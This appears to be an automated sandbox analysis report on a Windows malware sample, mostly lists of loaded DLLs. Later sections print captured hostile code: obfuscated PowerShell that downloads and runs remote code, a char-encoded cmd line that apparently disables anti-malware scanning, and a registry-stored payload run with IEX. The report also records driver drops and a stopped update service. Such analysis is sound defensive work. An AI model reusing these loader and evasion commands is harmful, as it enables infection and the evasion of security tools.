Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: moshost.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapsbtsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mosstorage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapconfiguration.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storageusage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostservice.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: networkhelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdataplatformhelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccspal.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcfgutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcmnutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmxmlhelputils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: inproclogger.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.networking.connectivity.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: synccontroller.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: accountaccessor.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: systemeventsbrokerclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatalanguageutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccsengineshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cemapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatatypehelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: phoneutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: amsi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wscapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: urlmon.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: iertutil.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: srvcli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: netutils.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: slc.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sppc.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: c:\users\win7\desktop\equinox\equinox\source\kernel_driver\objfre_win7_amd64\amd64\equinox.pdb source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\sys\x64\Release\ProcExpDriver.pdb source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\programming\coretemp\coretemp\alsysio\source\lib\amd64\ALSysIO64.pdb source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr
Source:	Binary string: ('f:\programming\coretemp\coretemp\alsysio\source\lib\amd64\ALSysIO64.pdb source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly($lSGcHnGjdPczDjsdfs, [Reflection.Emit.AssemblyBuilderAccess]::Run);$UNQzoEAMywdXhENMaVDJGVnCFvNM = $TlluBNBMoToYLVJExiBOeUClzbQIIy.DefineDynamicModule($($("""$($((348,420,440,204
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($LAlBeUsqRfcomCfRbe.DownloadString($ECsYqgeChOltDqIZo))) $($("""$($((134,176,194,218,174,168,138,220,242)\|%{[char]($_/2)})-join'')""")\|iex)))\|iex)\|%{};try{$LAlBeUsqRfcomCfRbe.Download
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer($WHtkdLdjpRjXcpn, $RXUuRFJntacVPiADFdQNmRvtb);$NRAzaAgSUkbRgLZ.DynamicInvoke($MusWfPLlYpMMmxjbZdPpYUelcshwT);return $true}; fZPDOkMkPdXPEvM @(0,'Software\rcrdlpil','{C3C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly($jFKOocZNOCJgJiOR, [Reflection.Emit.AssemblyBuilderAccess]::Run);$EEpKlhpJrVLjBTPEvpwIAEBHLhQ = $KoSPCcIXjBnhgeu.DefineDynamicModule($($("""$($((348,420,440,204,200)\|%{[char]($_/

Obfuscated command line found

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\Sysnative\cmd.exe" /C "echo $($tiebicislihiakywle=$([Ref].Assembly.GetType('viqeempiapqylyunela'));$hatuwucehuubumag=[Ref].Assembly.GetType($((249,363,345,348,303,327,138,231,291,330,291,309,303,327,303,330,348,138,195,351,348,333,327,291,348,315,333,330,138,195,327,345,315,255,348,315,324,345)^^^\|%{[char]($_/3)})-join'');$yggugyygypylrycood=$(142 -ge 126);if($hatuwucehuubumag){$hatuwucehuubumag.GetField($((28,40,46,36,4,41,36,47,1,28,36,39,32,31)^^^\|%{[char]($_+69)})-join'',$((156,222,220,160,234,196,216,210,198,88,166,232,194,232,210,198)^^^\|%{[char]($_/2)})-join'').SetValue($tiebicislihiakywle,$yggugyygypylrycood)}; $oktoundiveemzaynfo = $('{7}{1}{4}{6}{9}{3}' -f 'n','','g','x','','i','','i','b','e','v'); $((364,332,484,460,464,404,436,184,276,440,472,420,456,444,440,436,404,440,464,372,232,232,332,404,464,276,440,472,420,456,444,440,436,404,440,464,344,388,456,420,388,392,432,404,160,156,388,432,440,388,460,468,484,456,416,484,476,444,484,452,476,404,432,444,444,480,412,484,488,484,472,156,176,128,228,208,212,212,164,236,128,144,160,364,456,404,412,404,480,372,232,232,308,388,464,396,416,160,160,364,460,464,456,420,440,412,372,144,160,396,436,400,128,188,268,128,456,404,412,128,452,468,404,456,484,128,288,300,268,340,368,332,444,408,464,476,388,456,404,368,340,396,420,488,388,416,128,188,472,128,404,408,480,468,396,420,404,452,444,164,164,176,128,156,328,276,284,380,332,360,364,128,372,172,160,184,168,164,156,164,184,284,456,444,468,448,460,364,196,372,184,344,388,432,468,404,128,496,128,292,276,352,164)^^^\|%{[char]($_/4)})-join'') ^^^\| ^^^&($oktoundiveemzaynfo) \| %WinDir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $($tiebicislihiakywle=$([Ref].Assembly.GetType('viqeempiapqylyunela'));$hatuwucehuubumag=[Ref].Assembly.GetType($((249,363,345,348,303,327,138,231,291,330,291,309,303,327,303,330,348,138,195,351,348,333,327,291,348,315,333,330,138,195,327,345,315,255,348,315,324,345)^\|%{[char]($_/3)})-join'');$yggugyygypylrycood=$(142 -ge 126);if($hatuwucehuubumag){$hatuwucehuubumag.GetField($((28,40,46,36,4,41,36,47,1,28,36,39,32,31)^\|%{[char]($_+69)})-join'',$((156,222,220,160,234,196,216,210,198,88,166,232,194,232,210,198)^\|%{[char]($_/2)})-join'').SetValue($tiebicislihiakywle,$yggugyygypylrycood)}; $oktoundiveemzaynfo = $('{7}{1}{4}{6}{9}{3}' -f 'n','','g','x','','i','','i','b','e','v'); $((364,332,484,460,464,404,436,184,276,440,472,420,456,444,440,436,404,440,464,372,232,232,332,404,464,276,440,472,420,456,444,440,436,404,440,464,344,388,456,420,388,392,432,404,160,156,388,432,440,388,460,468,484,456,416,484,476,444,484,452,476,404,432,444,444,480,412,484,488,484,472,156,176,128,228,208,212,212,164,236,128,144,160,364,456,404,412,404,480,372,232,232,308,388,464,396,416,160,160,364,460,464,456,420,440,412,372,144,160,396,436,400,128,188,268,128,456,404,412,128,452,468,404,456,484,128,288,300,268,340,368,332,444,408,464,476,388,456,404,368,340,396,420,488,388,416,128,188,472,128,404,408,480,468,396,420,404,452,444,164,164,176,128,156,328,276,284,380,332,360,364,128,372,172,160,184,168,164,156,164,184,284,456,444,468,448,460,364,196,372,184,344,388,432,468,404,128,496,128,292,276,352,164)^\|%{[char]($_/4)})-join'') ^\| ^&($oktoundiveemzaynfo) "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $($tiebicislihiakywle=$([Ref].Assembly.GetType('viqeempiapqylyunela'));$hatuwucehuubumag=[Ref].Assembly.GetType($((249,363,345,348,303,327,138,231,291,330,291,309,303,327,303,330,348,138,195,351,348,333,327,291,348,315,333,330,138,195,327,345,315,255,348,315,324,345)^\|%{[char]($_/3)})-join'');$yggugyygypylrycood=$(142 -ge 126);if($hatuwucehuubumag){$hatuwucehuubumag.GetField($((28,40,46,36,4,41,36,47,1,28,36,39,32,31)^\|%{[char]($_+69)})-join'',$((156,222,220,160,234,196,216,210,198,88,166,232,194,232,210,198)^\|%{[char]($_/2)})-join'').SetValue($tiebicislihiakywle,$yggugyygypylrycood)}; $oktoundiveemzaynfo = $('{7}{1}{4}{6}{9}{3}' -f 'n','','g','x','','i','','i','b','e','v'); $((364,332,484,460,464,404,436,184,276,440,472,420,456,444,440,436,404,440,464,372,232,232,332,404,464,276,440,472,420,456,444,440,436,404,440,464,344,388,456,420,388,392,432,404,160,156,388,432,440,388,460,468,484,456,416,484,476,444,484,452,476,404,432,444,444,480,412,484,488,484,472,156,176,128,228,208,212,212,164,236,128,144,160,364,456,404,412,404,480,372,232,232,308,388,464,396,416,160,160,364,460,464,456,420,440,412,372,144,160,396,436,400,128,188,268,128,456,404,412,128,452,468,404,456,484,128,288,300,268,340,368,332,444,408,464,476,388,456,404,368,340,396,420,488,388,416,128,188,472,128,404,408,480,468,396,420,404,452,444,164,164,176,128,156,328,276,284,380,332,360,364,128,372,172,160,184,168,164,156,164,184,284,456,444,468,448,460,364,196,372,184,344,388,432,468,404,128,496,128,292,276,352,164)^\|%{[char]($_/4)})-join'') ^\| ^&($oktoundiveemzaynfo) "	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" $lambczojaanjr=[System.Text.Encoding]::ASCII.GetString($(gp HKCU:\Software\cudyoiiqiyyyd).iaetrrvsxsjkc); ri -Force HKCU:\Software\cudyoiiqiyyyd; IEX($lambczojaanjr)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" $lambczojaanjr=[System.Text.Encoding]::ASCII.GetString($(gp HKCU:\Software\cudyoiiqiyyyd).iaetrrvsxsjkc); ri -Force HKCU:\Software\cudyoiiqiyyyd; IEX($lambczojaanjr)			Jump to behavior

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\ALSysIO64.sys

Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\ALSysIO64.sys

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\rcrdlpil {C3C0C741-040F-40B7-965F-01FEE4DDC689}

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
